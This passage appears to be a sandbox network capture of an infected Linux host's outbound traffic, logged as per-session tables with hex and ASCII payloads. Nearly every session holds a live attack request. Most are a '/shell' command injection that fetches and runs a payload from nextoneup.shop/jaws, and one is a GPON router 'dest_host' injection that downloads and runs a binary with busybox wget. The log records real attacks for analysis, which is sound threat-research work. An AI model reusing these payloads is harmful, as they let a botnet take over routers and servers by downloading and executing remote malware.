PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.23	43836	173.243.14.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.795005083 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.008507967 CEST	204	IN	HTTP/1.1 302 Found : Moved Temporarily Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close Cache-Control: no-cache Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.23	35536	13.33.164.127	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.815344095 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.050771952 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:25 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.23	40928	18.245.56.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.900342941 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.219259024 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:26 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.23	60514	92.54.13.41	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.910501003 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.239610910 CEST	809	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:26 GMT Server: Apache/2.2.9 (Debian) mod_jk/1.2.26 PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Vary: Accept-Encoding Content-Length: 417 Keep-Alive: timeout=15, max=170 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 39 20 28 44 65 62 69 61 6e 29 20 6d 6f 64 5f 6a 6b 2f 31 2e 32 2e 32 36 20 50 48 50 2f 35 2e 32 2e 36 2d 31 2b 6c 65 6e 6e 79 31 36 20 77 69 74 68 20 53 75 68 6f 73 69 6e 2d 50 61 74 63 68 20 6d 6f 64 5f 70 79 74 68 6f 6e 2f 33 2e 33 2e 31 20 50 79 74 68 6f 6e 2f 32 2e 35 2e 32 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 39 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 38 67 20 6d 6f 64 5f 70 65 72 6c 2f 32 2e 30 2e 34 20 50 65 72 6c 2f 76 35 2e 31 30 2e 30 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.9 (Debian) mod_jk/1.2.26 PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.23	33652	39.105.219.99	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.917196035 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.251251936 CEST	337	IN	HTTP/1.1 500 Internal Server Error Server: nginx Date: Sun, 14 Apr 2024 02:00:26 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.23	42886	195.164.227.51	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.918885946 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.952240944 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:28.999808073 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.23	56592	106.120.182.166	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.924647093 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.271425009 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:26 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.23	45166	89.151.135.181	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.934559107 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.289922953 CEST	363	IN	HTTP/1.1 403 Forbidden Server: Web server Date: Sun, 14 Apr 2024 02:00:15 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive X-Detail: 0x1210, insufficient security level Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.23	55390	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.000946045 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:12Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.23	55438	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.657541990 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:13Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.23	44914	96.74.81.73	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.976807117 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.172657967 CEST	219	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:26 GMT Server: Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.23	45474	13.226.190.230	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.002240896 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.684803009 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.905474901 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:27 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.23	52522	190.166.143.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.033265114 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.292967081 CEST	1289	IN	HTTP/1.1 404 Not Found Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 73 70 61 6e 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 70 61 6e 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c Data Ascii: <html> <head><title>404 Not Found</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>404 Not Found</h2><span>The requested URL was not found on this server.</span><div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.<
Apr 14, 2024 04:00:27.293912888 CEST	140	IN	Data Raw: 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e Data Ascii: /span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.23	35758	93.242.171.185	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.150830030 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.529581070 CEST	258	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:00:27 GMT Content-Length: 17 Content-Type: text/plain; charset=utf-8 Data Raw: 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 Data Ascii: Moved Permanently

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.23	52834	5.188.88.39	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.160737038 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.539400101 CEST	224	IN	HTTP/1.0 503 Service Unavailable Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>503 Service Unavailable</h1>No server is available to handle this request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.23	55450	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.330912113 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 31 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:13Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.23	40982	178.19.24.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:27.357775927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.23	38156	212.187.196.66	443

Timestamp	Bytes transferred	Direction	Data
